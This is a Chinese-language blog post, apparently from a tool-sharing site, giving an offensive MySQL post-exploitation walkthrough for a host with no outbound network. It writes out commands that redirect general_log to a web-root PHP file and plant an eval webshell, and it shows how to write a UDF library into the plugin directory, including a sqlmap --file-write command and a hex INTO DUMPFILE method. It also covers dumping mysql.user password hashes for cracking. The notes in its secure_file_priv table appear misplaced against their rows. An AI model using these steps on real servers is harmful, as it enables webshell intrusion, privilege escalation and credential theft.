51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

MySQL不出网文件落地上线姿势

MySQL不出网文件落地上线

第一步 判断环境

1、查看MySQL版本

show variables like '%version%';
select version();      #这个只显示MySQL版本号

查看系统版本.png

2、查看load_file() 开启

即 secure_file_priv 无限制

show variables like '%secure%';       #这条可查看详细信息
show global variables like '%secure_file_priv%';

查看是否可写.png

| Value | 说明 | 注意 | |:----------------------|:----------------------------------|--------------------------------------------------------| | NULL | 不允许导入或导出 | 在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件 | | /var/lib/mysql-files/ | 只允许在 /var/lib/mysql-files/ 目录导入导出 | 在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件 | | 空 | 不限制目录 | |

而这个MySQL数据库,只允许在/var/lib/mysql-files/这个目录导入导出

3、查看日志功能是否开启和对应目录

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 Getshell

SHOW VARIABLES LIKE 'general%';

注:general_log 默认是关闭的,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中

日志写入是否开启.png

开启日志功能

set global general_log = "ON";
set global general_log_file='/var/www/html/test.php';   #可以写入WebShell然后直接连接蚁剑

# 往日志里面写入 WebShell
select '<?php @eval($_POST['AabyssTeam']);?>';
# 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现

启用日志写入.png

4、寻找插件目录(UDF提权摸排)

如果是 MySQL >= 5.1 的版本,必须把 UDF 动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下,才能创建自定义函数

动态链接库文件获取

在我们常用的工具 SqlMap 和 Metasploit 里面都自带了对应系统的动态链接库文件

SqlMap:工具根目录/data/udf/mysql

注: SqlMap 自带的动态链接库为防止被误杀,都经过编码处理,不能被直接使用

不过可以利用 SqlMap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:工具根目录/extra/cloak/cloak.py

Metasploit:工具根目录/embedded/framework/data/exploits/mysql

注:动态链接库就是实现共享函数库概念的一种方式,在Windows环境下后缀名为 .dll,在Linux环境下后缀名为 .so

接下来的任务是把 UDF 动态链接库文件放到 MySQL 的插件目录下,可以使用如下的 SQL 语句来查询:

show variables like '%plugin%';

寻找插件目录.png

第二步 MySQL提权

写入动态链接库

写入动态链接库可以分为下面几种情形:

  • 存在SQL 注入且是高权限
  • plugin(插件) 目录可写且需要 secure_file_priv 无限制
  • MySQL 插件目录可以被 MySQL 用户写入

1、存在SQL注入

这个时候就可以直接使用 SqlMap 来上传动态链接库

注:因为 GET 有字节长度限制,所以往往使用 POST 注入来写入

sqlmap -u "http://Web服务的URL" --data="id=注入点" --file-write="根据本地的文件目录来写/lib_mysqludf_sys_64.so" --file-dest="/usr/lib64/mysql/plugin/(上面探测出来的插件目录)udf.so"

2、不存在SQL注入

就像我举的例子一样,没有Web服务,只有一个Java应用怎么办?

我们可以使用 SQL 语句执行写入,前提是 secure_file_priv 无限制,可以手工写文件到 plugin 目录下

# 直接 SELECT 查询十六进制写入
SELECT 0x(通过16进制转换后的动态链接库字符串) INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so';

# 解码十六进制再写入多此一举
SELECT unhex('(通过16进制转换后的动态链接库字符串)') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so';

当出现这个报错的时候:

写入链接库报错.png

由于 secure-file-priv 变量的默认设置为 /var/lib/mysql-files/ 引起的,该值意味着只能导出到指定目录下,否则会报错

小技巧:获取MySQL账户和对应密码Hash

# MySQL <= 5.6 版本
select host, user, password from mysql.user;

# MySQL >= 5.7 版本
select host,user,authentication_string from mysql.user;

获取账户密码hash.png

直接丢到在线网站 https://www.cmd5.com/ 解密

哈希解密.png

直接可以解密了密码,解密不出来就用Hashcat跑就行了

赞(3)
未经允许不得转载:工具盒子 » MySQL不出网文件落地上线姿势